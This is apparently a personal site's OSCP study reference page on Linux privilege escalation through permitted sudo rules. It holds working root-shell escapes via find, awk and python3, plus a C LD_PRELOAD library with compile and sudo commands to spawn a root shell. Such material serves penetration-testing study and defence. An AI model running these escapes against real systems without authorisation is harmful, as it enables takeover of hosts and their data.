Skip to content
leg3ndProjects & tools
01Home02Projects03Tools04Notes
GMT+8
O/ OSCP exploitation reference
Workspace controls Memory only · 0 steps
Visualize path ↗
Command values 0 filled

Temporary connection values clear on reload. Passwords, hashes and tickets remain placeholders. Check address-family syntax in the selected command.

Reference index ↗ Search all procedures & variants ↗
01Discovery02Enumeration03Initial access04Usable access05Local privilege06Active Directory07Internal access08Evidence & reporting

QUICK REFERENCE

Discovery›Services›Web mapping›Web exploitation›Credentials›Public exploits›Sessions & transfers›Linux escalation›Windows escalation›AD enumeration›AD identity attacks›Lateral movement›Pivoting & tunnels›Execution troubleshooting›Integration & evidence›
174 methods · 15 topicsFull reference on GitHub ↗Commands · scripts · next steps
Tools/OSCP/Local privilege/Linux escalation
← All linux escalation tasks

Use an allowed sudo operation to cross a privilege boundary

CommandsIf → thenExplanation & examples

Needs: Exact executable/run-as/argument rule permits a useful primitive; password tags, environment and policy do not invalidate it

Shell commands

# Baseline
sudo -n -l 2>&1
sudo -l
sudo --version

Shell commands

Record the run-as identity, password tag, executable path, argument constraints/wildcards and SETENV/NOSETENV/env_keep/secure_path/NOEXEC. Match the exact mode under GTFOBins.

# Baseline
sudo /usr/bin/find . -exec /bin/sh \; -quit
sudo /usr/bin/awk 'BEGIN {system("/bin/sh")}'
sudo /usr/bin/python3 -c 'import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'

Use an example only when the entire rule permits it. Restricted arguments, another path/build, privilege dropping, NOEXEC, a non-root run-as user or MAC policy can invalidate the escape.

Preserved LD_PRELOAD variant

Requires an explicitly allowed/preserved variable and a dynamically linked allowed program.

# Preserved LD_PRELOAD variant
sudo -l | grep -E 'SETENV|env_keep.*LD_PRELOAD'

Preserved LD_PRELOAD variant

// Preserved LD_PRELOAD variant
#include <stdlib.h>
#include <unistd.h>
void _init(void) {
  unsetenv("LD_PRELOAD");
  setgid(0); setuid(0);
  system("/bin/sh");
}

Preserved LD_PRELOAD variant

# Preserved LD_PRELOAD variant
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
sudo LD_PRELOAD=/tmp/preload.so /ALLOWED/PROGRAM

Verify → Verify the executed run-as identity and effective UID; preserve the matching rule and successful operation.

If it fails → Restricted arguments, another run-as user, privilege dropping, NOEXEC or MAC policy can block the candidate. Evaluate another permitted primitive. More detail ↓

If → then

  • A sudo rule explicitly preserves or permits a loader variable → Load a controlled library through a permitted sudo environment

    Needs: Allowed variable setting/preservation, a dynamically linked permitted executable and a loader path that honors it

  • A new Linux foothold or an identity/privilege change → Establish Linux state and choose an escalation candidate

    Needs: A working command channel and accurate effective identity, group, mount and process context

  • Readable configuration, shell history, environment, process arguments or session sockets → Recover credentials from Linux user, service and process trails

    Needs: Read access to the artifact; exact account/service context; session/agent access must include a usable live identity

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Use an allowed sudo operation to cross a privilege boundary

USE WHEN
sudo -l grants an operation under a more useful identity
STARTING ACCESS
A verified Linux foothold with a known effective UID, groups and filesystem context
RESULT
A verified privileged command, file operation or identity transition

Recognize the clue

Run the exact sudo policy query from the current user and read run-as identity, executable, arguments and tags.

sudo -n -l 2>&1
sudo -l
SYNTHETIC EXAMPLE OUTPUT
User USER may run:
    (root) NOPASSWD: /usr/bin/find

Means: The rule permits that exact program as root; its documented privileged operation becomes a candidate.

Confirm: Read sudo -l: match the run-as user, exact executable and allowed arguments. Check NOPASSWD/password access and NOEXEC/environment restrictions; choose only the GTFOBins operation that the full rule permits, then verify id.

After validation
The allowed invocation exposes a useful operation and its effect is verified: choose that sudo method.
Ruled out in this context
Only a fixed harmless argument pattern is permitted: reject the unrestricted escape assumption.
Still inconclusive
A password-required response does not show the rule; obtain the legitimate credential/context before deciding.

Troubleshooting: Restricted arguments, another run-as user, privilege dropping, NOEXEC or MAC policy can block the candidate. Evaluate another permitted primitive.

Record the run-as identity, password tag, executable path, argument constraints/wildcards and SETENV/NOSETENV/env_keep/secure_path/NOEXEC. Match the exact mode under GTFOBins.

Use an example only when the entire rule permits it. Restricted arguments, another path/build, privilege dropping, NOEXEC, a non-root run-as user or MAC policy can invalidate the escape.

Preserved LD_PRELOAD variant

Requires an explicitly allowed/preserved variable and a dynamically linked allowed program.

Static linking, secure-loader behavior, missing environment permission or MAC denial disproves this route.

Why it works

Sudo grants a configured operation, not arbitrary root by default. Interpreter escapes, editors, file writers and helpers are different useful primitives whose exact invocation must fit the rule.

Worked example · hypothetical

Observation: the rule permits a specific interpreter as root without restricted arguments. Test: compare its documented privileged mode with the full rule and execute a minimal identity proof. Illustrative output: effective UID 0. Interpretation: verify host context and re-enumerate privileged files.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗
HomeProjectsToolsNotes
Interactive toolsOSCP notes ↗Extended OSCP workspace ↗Attack-path visualizer ↗

© 2026 Armaan. Built with curiosity.

GitHub ↗GMT+8